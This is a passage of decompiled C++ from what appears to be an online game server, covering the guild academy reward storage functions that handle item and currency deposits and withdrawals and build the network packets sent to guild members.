0; this->iti_itemstruct.itemid = -1; } //----- (0045F940) -------------------------------------------------------- void __thiscall ItemInventoryCell::iic_Clear(ItemInventoryCell *this) { *(_DWORD *)&this->iic_Item.iti_registnum.binary.gap0[0] = -1; this->iic_Item.iti_registnum.binary._bf4 = -1; memset(&this->iic_Item.iti_itemstruct, 0, 0x64u); *(_WORD *)((char *)&this->iic_Item.iti_itemstruct.itemattr.binditem.portal[9].y + 1) = 0; BYTE3(this->iic_Item.iti_itemstruct.itemattr.binditem.portal[9].y) = 0; this->iic_Item.iti_itemstruct.itemid = -1; this->iic_AttrProc = (ItemAttributeClass *)&itmattcontainer; } //----- (0045F970) -------------------------------------------------------- void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::_GuildAcademyRewardStorageManager(GuildAcademyRewardStorage::GuildAcademyRewardStorageManager *this) { GuildAcademyRewardStorage::GuildAcademyRewardStorageManager *v1; // esi@1 void *v2; // esi@1 v1 = this; this->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; _eh_vector_destructor_iterator_( this->garsm_StorageArray, 0x20B8u, 300, (void (__thiscall *)(void *))GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::_GuildAcademyRewardStorageElement); v1->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; v2 = v1->baseclass_0.l_Array; if ( v2 ) operator delete__(v2); } // 641E7C: using guessed type int (__stdcall *List_GuildAcademyRewardStorage__GuildAcademyRewardStorageElement____vftable_[3])(__int16 hnd); //----- (0045F9E0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_GuildAcademyRewardStorageError(void *this, __int16 err) { void *v2; // esi@1 char *v3; // eax@1 int v4; // eax@3 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_GuildAcademyRewardStorageError"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_GuildAcademyRewardStorageError"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -26514; *((_WORD *)v3 + 1) = err; v3[12] = 0; *((_DWORD *)v3 + 1) = 0; *((_DWORD *)v3 + 2) = 0; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 13) ) { v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 760))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v4 + 12))(v4, v2, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_GuildAcademyRewardStorageError : Packet Too Long", 13); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_GuildAcademyRewardStorageError"); } //----- (0045FAD0) -------------------------------------------------------- void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_WithdrawAtOther(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this, PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_RNG *ring) { GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *v2; // esi@1 int v3; // eax@4 int v4; // edi@4 int v5; // edx@5 int v6; // edi@6 int v7; // eax@6 int v8; // edx@8 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_WithdrawAtOther"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_WithdrawAtOther"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( ring->type == 2 ) v2->garse_Cen = ring->storage_cen; if ( ring->type == 1 ) { v3 = (int)v2->garse_Storage.baseclass_0.vfptr->ib_GetInventoryCell((ItemBag *)v2, ring->slot); v4 = (*(int (__stdcall **)(_DWORD))(**(_DWORD **)(v3 + 112) + 24))(v3 + 8); if ( (unsigned int)v4 > ring->___u8.lot ) { v6 = v4 - LODWORD(ring->___u8.lot); v7 = (int)v2->garse_Storage.baseclass_0.vfptr->ib_GetInventoryCell((ItemBag *)v2, ring->slot); (*(void (__stdcall **)(_DWORD, _DWORD))(**(_DWORD **)(v7 + 112) + 28))(v7 + 8, v6); } else { v5 = (int)v2->garse_Storage.baseclass_0.vfptr->ib_GetInventoryCell((ItemBag *)v2, ring->slot); *(_DWORD *)v5 = -1; *(_DWORD *)(v5 + 4) = -1; memset((void *)(v5 + 8), 0, 0x64u); *(_WORD *)(v5 + 108) = 0; *(_BYTE *)(v5 + 110) = 0; *(_WORD *)(v5 + 8) = -1; *(_DWORD *)(v5 + 112) = &itmattcontainer; } } if ( !ring->type ) { v8 = (int)v2->garse_Storage.baseclass_0.vfptr->ib_GetInventoryCell((ItemBag *)v2, ring->slot); *(_DWORD *)v8 = -1; *(_DWORD *)(v8 + 4) = -1; memset((void *)(v8 + 8), 0, 0x64u); *(_WORD *)(v8 + 108) = 0; *(_BYTE *)(v8 + 110) = 0; *(_WORD *)(v8 + 8) = -1; *(_DWORD *)(v8 + 112) = &itmattcontainer; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_WithdrawAtOther"); } //----- (0045FC40) -------------------------------------------------------- void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_DepositAtOther(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this, PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_RNG *ring) { GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *v2; // esi@1 int v3; // edx@2 int v4; // ebx@2 int v5; // ecx@2 int v6; // eax@4 int v7; // ebx@4 int v8; // eax@4 int v9; // edx@6 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_DepositAtOther"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_DepositAtOther"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( ring->type == 2 ) { v3 = LODWORD(ring->___u8.lot); v4 = LODWORD(v2->garse_Cen); v5 = HIDWORD(v2->garse_Cen); LODWORD(v2->garse_Cen) = v3 + v4; HIDWORD(v2->garse_Cen) = HIDWORD(ring->___u8.lot) + __CFADD__(v3, v4) + v5; } if ( ring->type == 1 ) { v6 = (int)v2->garse_Storage.baseclass_0.vfptr->ib_GetInventoryCell((ItemBag *)v2, ring->slot); v7 = LODWORD(ring->___u8.lot) + (*(int (__stdcall **)(int))(**(_DWORD **)(v6 + 112) + 24))(v6 + 8); v8 = (int)v2->garse_Storage.baseclass_0.vfptr->ib_GetInventoryCell((ItemBag *)v2, ring->slot); (*(void (__stdcall **)(int, int))(**(_DWORD **)(v8 + 112) + 28))(v8 + 8, v7); } if ( !ring->type ) { v9 = (int)v2->garse_Storage.baseclass_0.vfptr->ib_GetInventoryCell((ItemBag *)v2, ring->slot); *(_DWORD *)v9 = -1; *(_DWORD *)(v9 + 4) = -1; memset((void *)(v9 + 8), 0, 0x64u); *(_WORD *)(v9 + 108) = 0; *(_BYTE *)(v9 + 110) = 0; *(_WORD *)(v9 + 8) = -1; *(_DWORD *)(v9 + 112) = &itmattcontainer; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_DepositAtOther"); } //----- (0045FD70) -------------------------------------------------------- void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_ItemInfoZoneRngAtOther(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this, PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_ITEM_INFO_ZONE_RNG *ring) { GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *v2; // ebp@1 SHINE_INVEN_SLOT_INFO v3; // ST00_16@4 SHINE_INVEN_SLOT_INFO v4; // ST00_16@6 int v5; // edi@8 void *v6; // ebx@10 int v7; // ebp@17 int v8; // eax@17 int v9; // eax@21 unsigned int v10; // ebp@21 int v11; // ebx@21 int v12; // eax@21 char *v13; // [sp-4h] [bp-A0h]@2 void *tocell; // [sp+10h] [bp-8Ch]@1 FunctionEntarance _; // [sp+14h] [bp-88h]@1 char changeitemcell; // [sp+18h] [bp-84h]@17 char v17; // [sp+20h] [bp-7Ch]@17 int v18; // [sp+88h] [bp-14h]@17 unsigned int v19; // [sp+8Ch] [bp-10h]@1 int v20; // [sp+98h] [bp-4h]@1 v2 = this; v19 = (unsigned int)&tocell ^ __security_cookie; _.fe_FunctionCode = "GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_DepositAtOther"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_DepositAtOther"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_DepositAtOther"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v20 = 0; if ( ring ) { if ( (HIBYTE(ring->From.inven.Inven) & 0xFC || (*(_QWORD *)&v3.ItmeReg.binary.gap0[0] = *(_QWORD *)&ring->From.ItmeReg.binary.gap0[0], *(_QWORD *)&v3.ItemID = *(_QWORD *)&ring->From.ItemID, GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_SlotInfoCheck(v2, v3))) && (HIBYTE(ring->To.inven.Inven) & 0xFC || (*(_QWORD *)&v4.ItmeReg.binary.gap0[0] = *(_QWORD *)&ring->To.ItmeReg.binary.gap0[0], *(_QWORD *)&v4.ItemID = *(_QWORD *)&ring->To.ItemID, GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_SlotInfoCheck(v2, v4))) ) { v5 = (int)v2->garse_Storage.baseclass_0.vfptr->ib_GetInventoryCell((ItemBag *)v2, ring->From.inven.Inven & 0x3FF); if ( v5 ) { v6 = v2->garse_Storage.baseclass_0.vfptr->ib_GetInventoryCell((ItemBag *)v2, ring->To.inven.Inven & 0x3FF); tocell = v6; if ( v6 ) { switch ( ring->Type ) { case 0: case 1: if ( !(ring->From.inven.Inven & 0xFC00) ) ItemInventoryCell::iic_Clear((ItemInventoryCell *)v5); if ( !(ring->To.inven.Inven & 0xFC00) ) goto LABEL_30; break; case 2: if ( !(HIBYTE(ring->From.inven.Inven) & 0xFC) ) { ItemInventoryCell::ItemInventoryCell((ItemInventoryCell *)&changeitemcell); LOBYTE(v20) = 1; ItemInventoryCell::iic_StoreItem((ItemInventoryCell *)&changeitemcell, &ring->ChangeIteminfo); v7 = (*(int (__stdcall **)(int))(**(_DWORD **)(v5 + 112) + 24))(v5 + 8); v8 = (*(int (__stdcall **)(char *))(*(_DWORD *)v18 + 24))(&v17); ItemInventoryCell::iic_ItemLot((ItemInventoryCell *)v5, v7 - v8); LOBYTE(v20) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&changeitemcell); } if ( !(HIBYTE(ring->To.inven.Inven) & 0xFC) ) goto LABEL_30; break; case 3: if ( !(HIBYTE(ring->From.inven.Inven) & 0xFC) ) { ItemInventoryCell::ItemInventoryCell((ItemInventoryCell *)&changeitemcell); LOBYTE(v20) = 2; ItemInventoryCell::iic_StoreItem((ItemInventoryCell *)&changeitemcell, &ring->ChangeIteminfo); v9 = (*(int (__stdcall **)(int))(**(_DWORD **)(v5 + 112) + 24))(v5 + 8); v10 = ring->To.Lot; v11 = v9; v12 = (*(int (__stdcall **)(char *))(*(_DWORD *)v18 + 24))(&v17); ItemInventoryCell::iic_ItemLot((ItemInventoryCell *)v5, v10 - (v12 - v11)); LOBYTE(v20) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&changeitemcell); v6 = tocell; } if ( !(HIBYTE(ring->To.inven.Inven) & 0xFC) ) goto LABEL_30; break; case 4: if ( !(ring->From.inven.Inven & 0xFC00) ) { if ( (ring->To.inven.Inven & 0xFC00) == 9216 ) ItemInventoryCell::iic_StoreItem((ItemInventoryCell *)v5, &ring->ChangeIteminfo); if ( !(ring->From.inven.Inven & 0xFC00) && !(ring->To.inven.Inven & 0xFC00) ) { ItemInventoryCell::iic_StoreItem((ItemInventoryCell *)v5, (ItemTotalInformation *)v6); LABEL_30: ItemInventoryCell::iic_StoreItem((ItemInventoryCell *)v6, &ring->ChangeIteminfo); } } break; default: break; } } v20 = -1; } else { v20 = -1; } v13 = "GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_DepositAtOther"; } else { v2->garse_Activate = 0; v20 = -1; v13 = "GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_DepositAtOther"; } } else { AssertClass::ac_AssertFail( &shineassert, "GuildAcademyRewardStorageElement::garse_ItemInfoZoneRngAtOther - ring null", 0); v20 = -1; v13 = "GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_DepositAtOther"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v13); __security_check_cookie((unsigned int)&tocell ^ v19); } //----- (00460080) -------------------------------------------------------- void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_RewardInfoZoneRngAtOther(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this, PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_REWARD_ZONE_RNG *ring) { PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_REWARD_ZONE_RNG *v2; // ebp@1 GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *v3; // ebx@1 int v4; // edi@4 int v5; // eax@5 ItemInventoryCell *v6; // esi@5 int v7; // eax@11 unsigned int v8; // ecx@11 signed int ringa; // [sp+Ch] [bp+4h]@3 v2 = ring; v3 = this; if ( ring ) { this->garse_Cen = ring->Storage_Cen; ringa = 0; if ( v2->Reward_ItemNum ) { v4 = (int)&v2[1]; do { v5 = (int)v3->garse_Storage.baseclass_0.vfptr->ib_GetInventoryCell((ItemBag *)v3, *(_WORD *)(v4 + 3) & 0x3FF); v6 = (ItemInventoryCell *)v5; if ( !v5 || *(_WORD *)(v5 + 8) != *(_WORD *)(v4 + 1) ) break; if ( *(_BYTE *)v4 ) { if ( *(_BYTE *)v4 == 1 ) { v7 = (*(int (__stdcall **)(_DWORD))(**(_DWORD **)(v5 + 112) + 24))(v5 + 8); v8 = *(_DWORD *)(v4 + 5); if ( v7 <= v8 ) return; ItemInventoryCell::iic_ItemLot(v6, v7 - v8); } } else { if ( (*(int (__stdcall **)(_DWORD))(**(_DWORD **)(v5 + 112) + 24))(v5 + 8) != *(_DWORD *)(v4 + 5) ) return; ItemInventoryCell::iic_Clear(v6); } v4 += 9; ++ringa; } while ( ringa < v2->Reward_ItemNum ); } } else { AssertClass::ac_AssertFail( &shineassert, "GuildAcademyRewardStorageElement::garse_RewardInfoZoneRngAtOther - ring null", (int)ring); } } //----- (00460150) -------------------------------------------------------- void __thiscall ShineGuildAcademyRewardStorageWithdraw::ShineGuildAcademyRewardStorageWithdraw(ShineGuildAcademyRewardStorageWithdraw *this, PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_RNG *ring) { ShineGuildAcademyRewardStorageWithdraw *v2; // eax@1 PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_CMD *v3; // edx@1 v2 = this; this->baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ShineGuildAcademyRewardStorageWithdraw::_vftable_; this->ShineGuildAcademyRewardStorageWithdrawPacket.pp_Buffer = 0; this->ShineGuildAcademyRewardStorageWithdrawPacket.pp_PacketLength = 0; this->sgarsw_GuildNo = ring->gldregnum; this->ShineGuildAcademyRewardStorageWithdrawPacket.pp_BufferSize = 69; v2->ShineGuildAcademyRewardStorageWithdrawPacket.pp_Buffer = v2->ShineGuildAcademyRewardStorageWithdrawPacketBuffer; *(_WORD *)&this->ShineGuildAcademyRewardStorageWithdrawPacketBuffer[0] = -26509; v2->sgarsw_NetCommand = (NETCOMMAND *)v2->ShineGuildAcademyRewardStorageWithdrawPacketBuffer; v2->sgarsw_WithdrawPacket = (PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_CMD *)&v2->ShineGuildAcademyRewardStorageWithdrawPacketBuffer[2]; this->ShineGuildAcademyRewardStorageWithdrawPacketBuffer[2] = ring->who; this->sgarsw_WithdrawPacket->type = ring->type; v3 = this->sgarsw_WithdrawPacket; *(_QWORD *)&v3->charid.n4_name[0] = *(_QWORD *)&ring->charid.n4_name[0]; *(_QWORD *)&v3->charid.n4_name[8] = *(_QWORD *)&ring->charid.n4_name[8]; this->sgarsw_WithdrawPacket->item = ring->item; this->sgarsw_WithdrawPacket->slot = ring->slot; this->sgarsw_WithdrawPacket->___u5.lot = ring->___u8.lot; this->sgarsw_WithdrawPacket->storage_cen = ring->storage_cen; this->sgarsw_Why = ring->why; } // 642088: using guessed type int (__stdcall *ShineGuildAcademyRewardStorageWithdraw___vftable_)(int, __int16 GuildInven); //----- (004601F0) -------------------------------------------------------- void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendWithdraw2Member(GuildAcademyRewardStorage::GuildAcademyRewardStorageManager *this, PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_RNG *ring) { FunctionEntarance _; // [sp+4h] [bp-7Ch]@1 ShineGuildAcademyRewardStorageWithdraw sgsw; // [sp+8h] [bp-78h]@1 unsigned int v4; // [sp+70h] [bp-10h]@1 int v5; // [sp+7Ch] [bp-4h]@1 v4 = (unsigned int)&_ ^ __security_cookie; _.fe_FunctionCode = "GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendWithdraw2Member"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendWithdraw2Member"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendWithdraw2Member"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = 0; ShineGuildAcademyRewardStorageWithdraw::ShineGuildAcademyRewardStorageWithdraw(&sgsw, ring); LOBYTE(v5) = 1; List::l_4AllInList( (List *)shineobjmanager.som_ListContainer[2], (ListIteratorDefault *)&sgsw); --funcallanalizer.fca_stackpoint; sgsw.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListIteratorDefault::_vftable_; v5 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendWithdraw2Member"); __security_check_cookie((unsigned int)&_ ^ v4); } // 64292C: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); //----- (004602D0) -------------------------------------------------------- void __thiscall ShineGuildAcademyRewardStorageDeposit::ShineGuildAcademyRewardStorageDeposit(ShineGuildAcademyRewardStorageDeposit *this, PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_RNG *ring) { ShineGuildAcademyRewardStorageDeposit *v2; // eax@1 PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_CMD *v3; // edx@1 v2 = this; this->baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ShineGuildAcademyRewardStorageDeposit::_vftable_; this->ShineGuildAcademyRewardStorageDepositPacket.pp_Buffer = 0; this->ShineGuildAcademyRewardStorageDepositPacket.pp_PacketLength = 0; this->sgarsd_GuildNo = ring->gldregnum; this->ShineGuildAcademyRewardStorageDepositPacket.pp_BufferSize = 69; v2->ShineGuildAcademyRewardStorageDepositPacket.pp_Buffer = v2->ShineGuildAcademyRewardStorageDepositPacketBuffer; *(_WORD *)&this->ShineGuildAcademyRewardStorageDepositPacketBuffer[0] = -26507; v2->sgarsd_NetCommand = (NETCOMMAND *)v2->ShineGuildAcademyRewardStorageDepositPacketBuffer; v2->sgarsd_DepositPacket = (PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_CMD *)&v2->ShineGuildAcademyRewardStorageDepositPacketBuffer[2]; this->ShineGuildAcademyRewardStorageDepositPacketBuffer[2] = ring->who; this->sgarsd_DepositPacket->type = ring->type; v3 = this->sgarsd_DepositPacket; *(_QWORD *)&v3->charid.n4_name[0] = *(_QWORD *)&ring->charid.n4_name[0]; *(_QWORD *)&v3->charid.n4_name[8] = *(_QWORD *)&ring->charid.n4_name[8]; this->sgarsd_DepositPacket->item = ring->item; this->sgarsd_DepositPacket->slot = ring->slot; this->sgarsd_DepositPacket->___u5.lot = ring->___u8.lot; this->sgarsd_DepositPacket->storage_cen = ring->storage_cen; this->sgarsd_Why = ring->why; } // 6420E8: using guessed type int (__stdcall *ShineGuildAcademyRewardStorageDeposit___vftable_)(int, __int16 GuildInven); //----- (00460370) -------------------------------------------------------- void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendDeposit2Member(GuildAcademyRewardStorage::GuildAcademyRewardStorageManager *this, PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_RNG *ring) { FunctionEntarance _; // [sp+4h] [bp-7Ch]@1 ShineGuildAcademyRewardStorageDeposit sgsd; // [sp+8h] [bp-78h]@1 unsigned int v4; // [sp+70h] [bp-10h]@1 int v5; // [sp+7Ch] [bp-4h]@1 v4 = (unsigned int)&_ ^ __security_cookie; _.fe_FunctionCode = "GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendDeposit2Member"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendDeposit2Member"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendDeposit2Member"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = 0; ShineGuildAcademyRewardStorageDeposit::ShineGuildAcademyRewardStorageDeposit(&sgsd, ring); LOBYTE(v5) = 1; List::l_4AllInList( (List *)shineobjmanager.som_ListContainer[2], (ListIteratorDefault *)&sgsd); --funcallanalizer.fca_stackpoint; sgsd.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListIteratorDefault::_vftable_; v5 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendDeposit2Member"); __security_check_cookie((unsigned int)&_ ^ v4); } // 64292C: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); //----- (00460450) -------------------------------------------------------- void __thiscall ShineGuildAcademyRewardStorageItemInfoZonRng::ShineGuildAcademyRewardStorageItemInfoZonRng(ShineGuildAcademyRewardStorageItemInfoZonRng *this, PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_ITEM_INFO_ZONE_RNG *ring) { PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_ITEM_INFO_ZONE_RNG *v2; // esi@1 PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_ITEM_INFO_ZONE_RNG *v3; // esi@1 this->baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ShineGuildAcademyRewardStorageItemInfoZonRng::_vftable_; *(_QWORD *)&this->sgarsiizr_Withdraw.charid.n4_name[8] = 0i64; *(_QWORD *)&this->sgarsiizr_Withdraw.charid.n4_name[0] = 0i64; *(_QWORD *)&this->sgarsiizr_Deposit.charid.n4_name[8] = 0i64; *(_QWORD *)&this->sgarsiizr_Deposit.charid.n4_name[0] = 0i64; this->sgarsiizr_ItemInfo = ring; this->sgarsiizr_Withdraw.who = ring->Who; this->sgarsiizr_Withdraw.type = 0; *(_QWORD *)&this->sgarsiizr_Withdraw.charid.n4_name[0] = *(_QWORD *)&ring->Charid.n4_name[0]; *(_QWORD *)&this->sgarsiizr_Withdraw.charid.n4_name[8] = *(_QWORD *)&ring->Charid.n4_name[8]; v2 = this->sgarsiizr_ItemInfo; this->sgarsiizr_Withdraw.item = v2->From.ItemID; this->sgarsiizr_Withdraw.slot = LOBYTE(v2->From.inven.Inven); this->sgarsiizr_Withdraw.___u5.lot = 0i64; this->sgarsiizr_Withdraw.storage_cen = 0i64; this->sgarsiizr_Deposit.who = v2->Who; this->sgarsiizr_Deposit.type = 0; *(_QWORD *)&this->sgarsiizr_Deposit.charid.n4_name[0] = *(_QWORD *)&v2->Charid.n4_name[0]; *(_QWORD *)&this->sgarsiizr_Deposit.charid.n4_name[8] = *(_QWORD *)&v2->Charid.n4_name[8]; v3 = this->sgarsiizr_ItemInfo; this->sgarsiizr_Deposit.item = v3->From.ItemID; this->sgarsiizr_Deposit.slot = LOBYTE(v3->From.inven.Inven); this->sgarsiizr_Deposit.___u5.lot = 0i64; this->sgarsiizr_Deposit.storage_cen = 0i64; } // 642148: using guessed type int (__stdcall *ShineGuildAcademyRewardStorageItemInfoZonRng___vftable_)(int, __int16 handle); //----- (00460500) -------------------------------------------------------- void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendItemInfoZoneRng2Member(GuildAcademyRewardStorage::GuildAcademyRewardStorageManager *this, PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_ITEM_INFO_ZONE_RNG *ring) { FunctionEntarance _; // [sp+4h] [bp-68h]@1 ShineGuildAcademyRewardStorageItemInfoZonRng sgsd; // [sp+8h] [bp-64h]@2 unsigned int v4; // [sp+5Ch] [bp-10h]@1 int v5; // [sp+68h] [bp-4h]@1 v4 = (unsigned int)&_ ^ __security_cookie; _.fe_FunctionCode = "GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendDeposit2Member"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendDeposit2Member"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendDeposit2Member"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = 0; if ( ring ) { ShineGuildAcademyRewardStorageItemInfoZonRng::ShineGuildAcademyRewardStorageItemInfoZonRng(&sgsd, ring); LOBYTE(v5) = 1; List::l_4AllInList( (List *)shineobjmanager.som_ListContainer[2], (ListIteratorDefault *)&sgsd); sgsd.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListIteratorDefault::_vftable_; } --funcallanalizer.fca_stackpoint; v5 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendDeposit2Member"); __security_check_cookie((unsigned int)&_ ^ v4); } // 64292C: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); //----- (004605E0) -------------------------------------------------------- void __thiscall ShineGuildAcademyRewardStorageRewardInfoZonRng::ShineGuildAcademyRewardStorageRewardInfoZonRng(ShineGuildAcademyRewardStorageRewardInfoZonRng *this, PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_REWARD_ZONE_RNG *ring) { ShineGuildAcademyRewardStorageRewardInfoZonRng *v2; // eax@1 PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_REWARD_ZONE_RNG *v3; // ecx@1 PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_REWARD_ZONE_RNG *v4; // ecx@1 v2 = this; this->baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ShineGuildAcademyRewardStorageRewardInfoZonRng::_vftable_; *(_QWORD *)&this->sgarsrzr_CenCmd.charid.n4_name[8] = 0i64; *(_QWORD *)&this->sgarsrzr_CenCmd.charid.n4_name[0] = 0i64; *(_QWORD *)&this->sgarsrzr_ItemCmd.charid.n4_name[8] = 0i64; *(_QWORD *)&this->sgarsrzr_ItemCmd.charid.n4_name[0] = 0i64; this->sgarsrzr_ItemInfo = ring; this->sgarsrzr_CenCmd.who = 3; *(_QWORD *)&this->sgarsrzr_CenCmd.charid.n4_name[0] = *(_QWORD *)&ring->sCharID.n4_name[0]; *(_QWORD *)&this->sgarsrzr_CenCmd.charid.n4_name[8] = *(_QWORD *)&ring->sCharID.n4_name[8]; v3 = this->sgarsrzr_ItemInfo; v2->sgarsrzr_CenCmd.type = 2; v2->sgarsrzr_CenCmd.item = 0; v2->sgarsrzr_CenCmd.slot = 0; LODWORD(v2->sgarsrzr_CenCmd.___u5.lot) = LODWORD(v3->Reward_Cen); HIDWORD(v2->sgarsrzr_CenCmd.___u5.lot) = HIDWORD(v3->Reward_Cen); LODWORD(v2->sgarsrzr_CenCmd.storage_cen) = LODWORD(v3->Storage_Cen); HIDWORD(v2->sgarsrzr_CenCmd.storage_cen) = HIDWORD(v3->Storage_Cen); v2->sgarsrzr_ItemCmd.who = 3; *(_DWORD *)&v2->sgarsrzr_ItemCmd.charid.n4_name[0] = *(_DWORD *)&v3->sCharID.n4_name[0]; *(_DWORD 